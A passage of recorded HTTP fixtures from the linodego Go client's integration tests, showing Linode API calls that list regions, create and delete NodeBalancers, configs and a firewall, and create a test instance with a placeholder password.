"173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228215}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441126, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-38.ip.linodeusercontent.com", "ipv4": "172.232.86.38", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441126/configs method: POST response: body: '{"id": 670344, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441126, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441126/configs/670344 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441126 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228215 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancer_RebuildInstance.yaml000066400000000000000000000615321455402072200337560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-qs6jt31631qw","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49708285, "label": "go-test-ins-qs6jt31631qw", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.4.174"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708285/ips method: POST response: body: '{"address": "192.168.159.34", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708285, "region": "ap-west"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.159.34:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441126/configs/670344/nodes method: POST response: body: '{"id": 516206639, "address": "192.168.159.34:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670344, "nodebalancer_id": 441126}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "181" 